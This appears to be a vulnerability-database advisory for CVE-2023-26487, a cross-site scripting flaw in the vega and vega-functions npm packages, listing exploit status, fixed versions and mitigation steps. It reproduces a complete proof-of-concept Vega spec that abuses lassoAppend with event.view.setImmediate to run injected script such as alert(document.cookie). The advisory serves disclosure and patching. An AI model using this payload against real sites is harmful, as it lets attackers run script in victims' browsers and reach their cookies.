CVE-2023-26487 is a medium-severity (CVSS 6.5) Cross-site Scripting (XSS) vulnerability in vega. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for vega — see the affected versions and patch details below.
Vega has cross-site scripting vulnerability in `lassoAppend` function
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-26487.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
veganpmvega-functionsnpmDescription
Summary
Vega's lassoAppend function: lassoAppend accepts 3 arguments and internally invokes push function on the 1st argument specifying array consisting of 2nd and 3rd arguments as push call argument. The type of the 1st argument is supposed to be an array, but it's not enforced.
This makes it possible to specify any object with a push function as the 1st argument, push function can be set to any function that can be access via event.view (no all such functions can be exploited due to invalid context or signature, but some can, e.g. console.log).
Details
The issue is that lassoAppend doesn't enforce proper types of its arguments:
.....
export function lassoAppend(lasso, x, y, minDist = 5) {
const last = lasso[lasso.length - 1];
// Add point to lasso if distance to last point exceed minDist or its the first point
if (last === undefined || Math.sqrt(((last[0] - x) ** 2) + ((last[1] - y) ** 2)) > minDist) {
lasso.push([x, y]);
.....
PoC
Use the following Vega snippet (depends on browser's non-built-in event.view.setImmediate function, feel free to replace with event.view.console.log or alike and observe the result in the browser's console)
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"width": 350,
"height": 350,
"autosize": "none",
"description": "Toggle Button",
"signals": [
{
"name": "toggle",
"value": false,
"on": [
{
"events": {"type": "click", "markname": "circle"},
"update": "toggle ? false : true"
}
]
},
{
"name": "addFilter",
"on": [
{
"events": {"type": "mousemove", "source": "window"},
"update": "lassoAppend({'push':event.view.setImmediate},'alert(document.domain)','alert(document.cookie)')"
}
]
}
],
"marks": [
{
"name": "circle",
"type": "symbol",
"zindex": 1,
"encode": {
"enter": {
"y": {"signal": "height/2"},
"angle": {"value": 0},
"size": {"value": 400},
"shape": {"value": "circle"},
"fill": {"value": "white"},
"stroke": {"value": "white"},
"strokeWidth": {"value": 2},
"cursor": {"value": "pointer"},
"tooltip": {"signal": "{Tip: 'Click to fire XSS'}"}
},
"update": {"x": {"signal": "toggle === true ? 190 : 165"}}
}
},
{
"name": "rectangle",
"type": "rect",
"zindex": 0,
"encode": {
"enter": {
"x": {"value": 152},
"y": {"value": 162.5},
"width": {"value": 50},
"height": {"value": 25},
"cornerRadius": {"value": 20}
},
"update": {
"fill": {"signal": "toggle === true ? '#006BB4' : '#939597'"}
}
}
}
]
}
Impact
This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS setImmediate polyfill basically allows eval-like functionality).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vega | all versions | 5.23.0npm install vega@5.23.0 |
| 📦npm | vega-functions | all versions | 5.13.1npm install vega-functions@5.13.1 |
Affected Products
vegavega_projectvega-functionsvega-functions_projectResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vega, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vega to 5.23.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-26487 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is CVE-2023-26487 in your dependencies?
Find it across npm, including transitive dependencies.